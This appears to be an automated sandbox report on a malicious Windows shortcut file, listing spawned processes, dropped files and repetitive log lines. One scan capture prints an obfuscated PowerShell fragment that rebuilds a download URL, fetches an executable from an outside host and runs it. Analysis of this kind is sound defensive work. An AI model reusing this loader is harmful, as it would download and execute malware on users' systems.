Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF887A7D2A5 pushad ; iretd	5_2_00007FF887A7D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF887B980CB push ebx; ret	5_2_00007FF887B9816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF887C67148 push eax; ret	5_2_00007FF887C67149
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_3_1B78430B push eax; retf	8_3_1B78430C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_3_1B7835EC push esi; ret	8_3_1B7835ED

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\regsvr32.exe
Source: LNK file	Process created: C:\Windows\System32\regsvr32.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\regsvr32.exe
Source: LNK file	Process created: C:\Windows\System32\regsvr32.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\regsvr32.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\regsvr32.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\utox_x86_x64.exe	Jump to dropped file
Source: C:\Users\Public\ajbs50ul.bat	File created: C:\Users\user\AppData\Roaming\miEk.ini	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\ajbs50ul.bat	Jump to dropped file
Source: C:\Windows\System32\rekeywiz.exe	File created: C:\Users\user\AppData\Roaming\u0ow.ini	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\ajbs50ul.bat

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\ajbs50ul.bat	Jump to dropped file
Source: C:\Users\Public\ajbs50ul.bat	File created: C:\Users\user\AppData\Roaming\miEk.ini	Jump to dropped file
Source: C:\Windows\System32\rekeywiz.exe	File created: C:\Users\user\AppData\Roaming\u0ow.ini	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\ajbs50ul.bat

Jump to dropped file

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: .lnk -Name));getit -fz ($fzf + 'utox_x86_x64.exe') -oulv 'htv7i9rockp24tdocs.lol/utox_x86.p24xp24';exit[Environment]::GetEnvironmentVariable('public') + '\\ajbs50ul.bat'(New-Object System.Net.WebClient).DownloadFile($oulv.Replace('v7i9','tps://').Replace('p24', 'e'), $fz)start $fz@{GUID="EEFCB906-B326-4E99-9F54-8B4BB6EF3C6D"Author="Microsoft Corporation"CompanyName="Microsoft Corporation"Copyright=" Microsoft Corporation. All rights reserved."ModuleVersion="3.1.0.0"PowerShellVersion="5.1"CLRVersion="4.0"NestedModules="Microsoft.PowerShell.Commands.Management.dll"HelpInfoURI = 'https://go.microsoft.com/fwlink/?linkid=390785'AliasesToExport = @("gcb", "scb", "gin", "gtz", "stz")FunctionsToExport = @()CmdletsToExport=@("Add-Content", "Clear-Content", "Clear-ItemProperty", "Join-Path", "Convert-Path", "Copy-ItemProperty", "Get-EventLog", "Clear-EventLog", "Write-EventLog", "Limit-EventLog", "Show-EventLog", "New-EventLog", "Remove-EventLog", "Get-ChildItem", "Get-Content", "Get-ItemProperty", "Get-ItemPropertyValue", "Get-WmiObject", "Invoke-WmiMethod", "Move-ItemProperty", "Get-Location", "Set-Location", "Push-Location", "Pop-Location", "New-PSDrive", "Remove-PSDrive", "Get-PSDrive", "Get-Item", "New-Item", "Set-Item", "Remove-Item", "Move-Item", "Rename-Item", "Copy-Item", "Clear-Item", "Invoke-Item", "Get-PSProvider", "New-ItemProperty", "Split-Path", "Test-Path", "Get-Process", "Stop-Process", "Wait-Process", "Debug-Process", "Start-Process", "Remove-ItemProperty", "Remove-WmiObject", "Rename-ItemProperty", "Register-WmiEvent", "Resolve-Path", "Get-Service", "Stop-Service", "Start-Service", "Suspend-Service", "Resume-Service", "Restart-Service", "Set-Service", "New-Service", "Set-Content", "Set-ItemProperty", "Set-WmiInstance", "Get-Transaction", "Start-Transaction", "Complete-Transaction", "Undo-Transaction", "Use-Transaction", "New-WebServiceProxy", "Get-HotFix", "Test-Connection", "Enable-ComputerRestore", "Disable-ComputerRestore", "Checkpoint-Computer", "Get-ComputerRestorePoint", "Restart-Computer", "Stop-Computer", "Restore-Computer", "Add-Computer", "Remove-Computer", "Test-ComputerSecureChannel", "Reset-ComputerMachinePassword", "Rename-Computer", "Get-ControlPanelItem", "Show-ControlPanelItem", "Clear-Recyclebin", "Get-Clipboard", "Set-Clipboard", "Get-ComputerInfo", "Get-TimeZone", "Set-TimeZone")CompatiblePSEditions = @('Desktop','Core')} if ($_.FullyQualifiedErrorId -ne "NativeCommandErrorMessage" -and $ErrorView -ne "CategoryView") { $myinv = $_.InvocationInfo if ($myinv -and $myinv.MyCommand)

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
